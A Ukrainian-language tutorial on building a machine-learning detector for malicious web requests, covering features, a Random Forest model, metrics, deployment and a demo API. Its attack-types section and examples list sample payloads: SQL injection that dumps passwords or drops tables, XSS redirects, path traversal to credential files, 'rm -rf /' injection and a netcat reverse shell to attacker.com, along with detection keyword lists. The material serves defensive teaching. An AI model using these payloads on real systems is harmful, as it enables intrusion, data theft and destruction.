Machine Learning на пальцях. Детекція фродових запитів

1. Що таке ML простими словами

Аналогія з навчанням дитини:

• 📸 Показуємо 1000 фото кішок → "це кішка"

• 🐕 Показуємо 1000 фото собак → "це собака"

• ❓ Нове фото → дитина розпізнає

Machine Learning працює аналогічно:

• 📊 Показуємо комп'ютеру тисячі прикладів з правильними відповідями

• 🔍 Він знаходить математичні закономірності в даних

• 🎯 Використовує ці закономірності для передбачень на нових даних

Ключова відмінність: людина вчиться інтуїтивно, ML — через статистичні патерни.

2. Проблема. Фродові запити та їх типи

Що таке фродовий запит?

Запит, який намагається використати вразливості системи для:

• 🔓 Обходу аутентифікації

• 💾 Несанкціонованого доступу до даних

• 💥 Пошкодження або порушення роботи системи

• 🕵️ Витоку конфіденційної інформації

Основні типи атак

SQL Injection:

-- Злом: обхід аутентифікації
admin' OR '1'='1' --

-- Витік даних  
' UNION SELECT username, password FROM users --

-- Пошкодження
'; DROP TABLE users; --

XSS (Cross-Site Scripting):

<!-- Виконання шкідливого коду -->
<script>steal_cookies()</script>

<!-- Редирект на фішинг -->
<img src="x" onerror="window.location='evil.com'">

Path Traversal:

# Доступ до системних файлів
../../../etc/passwd
..\..\windows\system32\config\sam

Command Injection:

# Виконання системних команд
; cat /etc/passwd
| nc attacker.com 4444 -e /bin/sh

Приклади нормальних vs фродових запитів

✅ Нормальні запити:

• "Покажи мій профіль користувача"

• "Список товарів у категорії електроніка"

• "Пошук за словом 'ноутбук'"

• "Оновити адресу доставки"

❌ Фродові запити:

• admin' OR 1=1 -- (SQL injection)

• <script>alert('XSS')</script> (XSS)

• ../../../etc/passwd (Path traversal)

• search'; rm -rf / -- (Command injection)

3. Рішення. Як ML допомагає у детекції

Чому традиційні методи недостатні?

Rule-based системи:

# Проблема: легко обійти
if "DROP TABLE" in request:
    block_request()
    
# Хакер адаптується:  
# "drop/**/ table" або "DROP/*comment*/TABLE"

Сігнатурні методи:

• Потребують постійного оновлення

• Не виявляють нові типи атак (zero-day)

• Багато false positives на легітимний контент

Переваги ML підходу

Автоматичне виявлення патернів:

• Знаходить складні комбінації ознак

• Адаптується до нових типів атак

• Враховує контекст запиту

Вимірювання невизначеності:

• Не просто "так/ні", а ймовірність (0-100%)

• Можливість налаштування порогів чутливості

• Градації рівнів ризику

4. Підготовка даних та feature engineering

Як комп'ютер "бачить" текст?

Комп'ютер не розуміє слова. Йому потрібні числа.

Крок 1. Перетворюємо текст в числа

Запит: "показати користувачів"
↓
Довжина: 19 символів
Кількість пробілів: 1
Кількість спецсимволів: 0
Містить SQL слова: НІ

Крок 2. Створюємо "ознаки" (features)

Кожен запит описуємо числами:

• [19, 1, 0, 0] = нормальний запит

• [25, 0, 8, 1] = підозрілий запит

Як машина "навчається"?

1️⃣ Показуємо приклади

"показати профіль" → НОРМАЛЬНО (0)
"' OR 1=1 --" → ФРОД (1) 
"список товарів" → НОРМАЛЬНО (0)
"<script>alert()</script>" → ФРОД (1)

2️⃣ Машина шукає закономірності

🔍 Що помічає алгоритм:

• Нормальні запити: довжина 10-30 символів, українські слова

• Фродові запити: багато спецсимволів ', <, >, SQL слова

3️⃣ Створює правила

📝 Внутрішні правила моделі:

ЯКЩО багато лапок (') І є слово "OR" 
    → ймовірність фроду = 90%

ЯКЩО є теги <script> 
    → ймовірність фроду = 95%

ЯКЩО тільки українські слова І довжина < 50
    → ймовірність фроду = 5%

Технічно, на рівні коду в .py

Крок 1: Базові статистичні ознаки

def extract_basic_features(text):
    return {
        'length': len(text),
        'spaces': text.count(' '),
        'special_chars': sum(c in "!@#$%^&*()[]{}|\\:;\"'<>,.?/" for c in text),
        'digits': sum(c.isdigit() for c in text),
        'uppercase': sum(c.isupper() for c in text),
    }

Крок 2: Специфічні для безпеки ознаки

def extract_security_features(text):
    # SQL injection індикатори
    sql_keywords = ['SELECT', 'UNION', 'DROP', 'INSERT', 'DELETE', 'UPDATE']
    sql_operators = ["'", '"', '--', '/*', '*/', 'OR', 'AND']
    
    # XSS індикатори  
    xss_tags = ['<script', '<iframe', '<object', '<embed']
    xss_events = ['onload', 'onclick', 'onerror', 'onmouseover']
    
    # Path traversal
    path_patterns = ['../', '..\\', 'etc/passwd', 'windows/system32']
    
    return {
        'sql_keywords_count': sum(keyword.lower() in text.lower() for keyword in sql_keywords),
        'sql_operators_count': sum(op in text for op in sql_operators),
        'xss_tags_count': sum(tag.lower() in text.lower() for tag in xss_tags),
        'path_traversal_indicators': sum(pattern in text.lower() for pattern in path_patterns),
        'suspicious_chars_ratio': len([c for c in text if c in "'\"<>=()[]"]) / len(text) if text else 0
    }

Крок 3: Контекстуальні ознаки

def extract_contextual_features(text, request_metadata):
    return {
        'entropy': calculate_entropy(text),  # Міра хаотичності
        'contains_encoded': '%' in text or '&#' in text,  # URL/HTML encoding
        'unusual_length': len(text) > 1000 or len(text) < 3,
        'request_method': request_metadata.get('method', 'GET'),
        'time_of_day': request_metadata.get('hour', 12),  # Атаки часто вночі
        'user_agent_suspicious': is_suspicious_user_agent(request_metadata.get('user_agent'))
    }

Приклад повного перетворення

Запит: "admin' OR 1=1 --"

Витягнуті ознаки:

{
    # Базові
    'length': 16,
    'spaces': 2, 
    'special_chars': 6,
    
    # Безпекові
    'sql_keywords_count': 1,  # 'OR'
    'sql_operators_count': 3,  # ', OR, --
    'suspicious_chars_ratio': 0.375,  # 6/16
    
    # Контекстуальні  
    'entropy': 3.2,
    'contains_encoded': False
}

Результат: [16, 2, 6, 1, 3, 0.375, 3.2, 0, ...] — вектор чисел для ML моделі.

5. Вибір та налаштування моделі

Чому Random Forest?

Аналогія з експертною комісією: Уявіть медичний консиліум з 100 лікарів:

• 🩺 Кожен лікар має свою спеціалізацію

• 👥 Разом вони рідше помиляються ніж поодинці

• 🏥 Фінальний діагноз — консенсус більшості

Random Forest працює аналогічно:

• 🌳 100 дерев рішень (кожне — "експерт")

• 🎲 Кожне дерево навчається на різних підвибірках даних

• 📊 Фінальне рішення — голосування більшості

Архітектура Random Forest для детекції фроду

Вхідний запит: "admin' OR 1=1"
         ↓
   [Витяг ознак] 
         ↓
[16, 2, 6, 1, 3, 0.375, ...]
         ↓
    ┌─────────┬─────────┬───┬──────┐
    │Дерево 1 │Дерево 2 │...│Дерево│
    │ФРОД:90% │ФРОД:85% │   │100   │
    │         │         │   │ФРОД: │
    │         │         │   │95%   │
    └─────────┴─────────┴───┴──────┘
         ↓
    [Усереднення голосів]
         ↓
    Результат: ФРОД (90% впевненості)

Налаштування гіперпараметрів

гіперпараметри

from sklearn.ensemble import RandomForestClassifier

# Початкові налаштування
rf_basic = RandomForestClassifier(
    n_estimators=100,      # Кількість дерев
    random_state=42        # Для відтворюваності
)

# Покращені налаштування після тюнінгу
rf_optimized = RandomForestClassifier(
    n_estimators=200,           # Більше дерев = стабільніший результат
    max_depth=15,              # Обмеження глибини проти перенавчання  
    min_samples_split=10,      # Мін. зразків для поділу вузла
    min_samples_leaf=5,        # Мін. зразків у листі
    max_features='sqrt',       # Кількість ознак для поділу
    class_weight='balanced',   # Балансування класів
    random_state=42
)

Альтернативні алгоритми та їх порівняння

Рекомендація: Почніть з Random Forest, потім експериментуйте з XGBoost.

6. Оцінка якості та метрики

Confusion Matrix (Матриця помилок)

                    Передбачено
                 │ Норма │ Фрод │
    ─────────────┼───────┼──────┤
Фактично  Норма  │  850  │  50  │ ← 50 False Positives (заблокували нормальних)
          Фрод   │   30  │ 920  │ ← 30 False Negatives (пропустили атаки)

Ключові метрики з поясненнями

1. Accuracy (Загальна точність)

Accuracy = (850 + 920) / (850 + 50 + 30 + 920) = 95.7%

"З 100 запитів, 96 визначили правильно"

2. Precision (Точність детекції фроду)

Precision = 920 / (920 + 50) = 94.8%

"Коли кажемо ФРОД, в 95% випадків це правда"

3. Recall (Повнота виявлення фроду)

Recall = 920 / (920 + 30) = 96.8%  

"З усіх справжніх фродів, 97% виявили"

4. F1-Score (Гармонічне середнє)

F1 = 2 × (Precision × Recall) / (Precision + Recall) = 95.8%

Trade-off між Precision та Recall

Високий Recall (пріоритет безпеки):

• ✅ Виявляємо 99% атак

• ❌ Блокуємо багато нормальних користувачів

• 🎯 Підходить для банківських систем

Високий Precision (пріоритет зручності):

• ✅ Рідко блокуємо нормальних користувачів

• ❌ Пропускаємо деякі атаки

• 🎯 Підходить для публічних сайтів

Налаштування порогу:

# Консервативний підхід (безпека)
threshold = 0.3  # Блокуємо при 30% ймовірності фроду

# Збалансований підхід
threshold = 0.5  # Стандартний поріг

# Ліберальний підхід (зручність)  
threshold = 0.8  # Блокуємо лише при 80% впевненості

7. Впровадження в продакшен

Архітектурні рішення

1. Синхронна перевірка (Real-time)

@app.route('/api/data')  
def get_data():
    user_request = request.get_json()
    
    # Перевірка на фрод перед обробкою
    fraud_score = fraud_detector.predict_proba(user_request['query'])
    
    if fraud_score > FRAUD_THRESHOLD:
        log_security_incident(user_request, fraud_score)
        return jsonify({'error': 'Request blocked'}), 403
    
    # Нормальна обробка
    return process_user_request(user_request)

2. Асинхронна перевірка (Post-processing)

@app.route('/api/data')
def get_data():
    user_request = request.get_json()
    
    # Спочатку обробляємо запит
    result = process_user_request(user_request) 
    
    # Потім аналізуємо в фоні
    asyncio.create_task(analyze_request_async(user_request))
    
    return result

async def analyze_request_async(request):
    fraud_score = fraud_detector.predict_proba(request['query'])
    if fraud_score > FRAUD_THRESHOLD:
        await alert_security_team(request, fraud_score)

3. Багаторівневий захист

def multi_layer_protection(request):
    # Рівень 1: Швидкі rule-based перевірки
    if quick_rule_check(request):
        return block_request("Rule violation")
    
    # Рівень 2: ML-аналіз  
    ml_score = fraud_detector.predict_proba(request)
    if ml_score > 0.9:
        return block_request("High ML fraud score")
    elif ml_score > 0.5:
        return require_additional_verification(request)
    
    # Рівень 3: Behavioral analysis
    if is_suspicious_behavior(request.user, request):
        return require_captcha(request)
        
    return allow_request(request)

Моніторинг та алерти

Метрики для відстеження:

# Performance метрики
- response_time_p95        # 95-й перцентиль часу відгуку
- throughput_rps          # Запитів на секунду
- fraud_detection_latency # Час ML аналізу

# Business метрики  
- fraud_detection_rate    # % виявлених фродів
- false_positive_rate     # % помилково заблокованих
- blocked_users_count     # Кількість заблокованих користувачів

# Model performance
- model_accuracy_daily    # Щоденна точність моделі  
- feature_drift_score     # Зміна розподілу ознак
- prediction_confidence   # Середня впевненість моделі

Обробка edge cases

Високе навантаження:

# Circuit breaker pattern
if fraud_detector.avg_response_time > 100ms:
    # Тимчасово переключаємося на rule-based
    return fallback_rule_detector(request)

Недоступність моделі:

try:
    return ml_fraud_detector.predict(request)
except ModelUnavailable:
    # Fallback на базові правила
    return basic_security_rules(request)

8. Типові проблеми та їх рішення

False Positives (Помилкові спрацювання)

Проблема: Нормальний запит заблоковано як фрод

Приклад:

Запит: "Шукаю товар із назвою 'SELECT'"
Результат: ЗАБЛОКОВАНО (модель побачила SQL ключове слово)

Рішення:

def improve_context_understanding(text):
    # Враховуємо контекст лапок
    if re.search(r"['\"](SELECT|DROP|INSERT)['\"]", text):
        # Ключове слово в лапках = пошук, не SQL команда
        return reduce_sql_feature_weight(text)
    
    # Аналіз граматичної структури
    if is_natural_language_sentence(text):
        return reduce_attack_probability(text)

Інші стратегії:

• Збір зворотного зв'язку від користувачів

• A/B тестування різних порогів

• Whitelist для довірених користувачів

• Поступове зниження чутливості

False Negatives (Пропущені атаки)

Проблема: Фродовий запит пройшов незауваженим

Приклад:

Запит: "1' UNION/*comment*/SELECT password FROM users#"
Результат: ДОЗВОЛЕНО (обфускована SQL injection)

Рішення:

def detect_obfuscated_attacks(text):
    # Видалення коментарів
    cleaned = re.sub(r'/\*.*?\*/', '', text)
    
    # Нормалізація whitespace
    normalized = re.sub(r'\s+', ' ', cleaned)
    
    # Декодування URL/HTML entities
    decoded = urllib.parse.unquote(html.unescape(normalized))
    
    return analyze_normalized_text(decoded)

Стратегії покращення:

• Регулярне оновлення навчальних даних новими типами атак

• Ensemble моделей (комбінування кількох алгоритмів)

• Аномалі детекція для виявлення невідомих патернів

Model Drift (Деградація моделі)

Проблема: З часом точність моделі знижується

Причини:

• Зміна поведінки користувачів

• Нові типи атак

• Еволюція веб-додатка

• Сезонні зміни в трафіку

Рішення:

def monitor_model_performance():
    # Щотижневе порівняння метрик
    current_accuracy = evaluate_model_on_recent_data()
    baseline_accuracy = load_baseline_metrics()
    
    if current_accuracy < baseline_accuracy - 0.05:  # 5% drop
        trigger_model_retraining_alert()
        
    # Аналіз зміни розподілу ознак
    feature_drift = calculate_feature_drift()
    if feature_drift > DRIFT_THRESHOLD:
        schedule_data_analysis()

9. Де проходить межа між ML та AI?

Часто плутають поняття Machine Learning (ML) та Artificial Intelligence (AI).
Важливо розуміти різницю:

• AI (штучний інтелект) — ширше поняття. Це будь-які системи, які імітують інтелектуальну поведінку. Наприклад:

  • експертні системи з наборами правил “if–then”,

  • алгоритми пошуку (шахи, лабіринти),

  • машинне навчання як окремий напрям.

• ML (машинне навчання) — підмножина AI. Його відмінність у тому, що модель не програмується вручну, а вчиться на даних. Наприклад: класифікація спаму, прогнозування цін, розпізнавання фроду.

• Deep Learning (DL) — підмножина ML, що базується на глибоких нейронних мережах і використовується для дуже складних задач (розпізнавання зображень, мови, NLP, автономні авто).

Виходить така ієрархія:
AI ← ML ← DL

Ключова межа: якщо система працює на жорстко прописаних правилах → це AI, але не ML.
А якщо вона вчиться з даних → це ML (а отже, теж AI).

10. Практичний проект

Репо: https://github.com/overpathz/ml-fraud-intro/tree/main

Опис

Назва: MLFraudDetector
Мета: Захистити веб-додатки від шахрайських запитів використовуючи машинне навчання

Що робить проєкт

Система автоматично аналізує вхідні HTTP запити та визначає:

• ✅ Чи безпечний запит від звичайного користувача

• ❌ Чи це спроба хакерської атаки (SQL injection, XSS, Path Traversal)

• Рівень ризику від 0% до 100%

• Рекомендації: дозволити, заблокувати або перевірити додатково

Технічна реалізація

Алгоритм: Random Forest (100 дерев рішень)
Навчальні дані: 1000+ прикладів нормальних та фродових запитів
Ознаки: 14 параметрів тексту (довжина, спецсимволи, SQL/HTML/JS паттерни)
Точність: 95-98% на тестових даних

Запуск

Репо: https://github.com/overpathz/ml-fraud-intro/tree/main

Крок 0: Підготовка середовища

# Клонування репозиторію
git clone https://github.com/overpathz/ml-fraud-intro
cd ml-fraud-intro

# Встановлення залежностей
pip install -r requirements.txt

Крок 1. Навчання моделі

python train_model.py

Крок 2. Тестування детектора

python test_detector.py

Крок 3. Запуск API сервера

python app.py

Тестування API

Перевірка нормального запиту:

curl -X POST http://localhost:8095/check \
  -H "Content-Type: application/json" \
  -d '{"request": "показати список товарів"}'

Відповідь:

{
  "is_fraud": false,
  "fraud_probability": 0.12,
  "risk_level": "НИЗЬКИЙ",
  "recommendation": "ДОЗВОЛИТИ",
  "message": "Allowed"
}

Перевірка фродового запиту:

curl -X POST http://localhost:8095/check \
  -H "Content-Type: application/json" \
  -d '{"request": "admin'\'' OR 1=1 --"}'

Відповідь:

{
  "is_fraud": true,
  "fraud_probability": 0.95,
  "risk_level": "ВИСОКИЙ",
  "recommendation": "БЛОКУВАТИ",
  "message": "Blocked"
}

Отримання статистики:

curl http://localhost:8095/stats

Відповідь:

{
  "total_requests": 15,
  "fraud_detected": 3,
  "normal_requests": 12,
  "fraud_rate_percent": 20.0
}

Розуміння результатів

Метрики якості моделі:

• Precision (Точність) - з усіх передбачених фродів, скільки насправді є фродом

• Recall (Повнота) - з усіх справжніх фродів, скільки ми виявили

• F1-score - гармонічне середнє precision та recall

Рівні ризику:

• 🟢 НИЗЬКИЙ (0-30%) - запит точно безпечний

• 🟡 СЕРЕДНІЙ (30-70%) - потребує уваги

• 🔴 ВИСОКИЙ (70-100%) - ймовірний фрод

Що ми створили

✅ Повноцінну ML систему детекції фроду
✅ Веб API для інтеграції в реальні проєкти
✅ Логування та моніторинг всіх запитів
✅ Тестування різних сценаріїв
✅ Зручну структуру для подальшого розвитку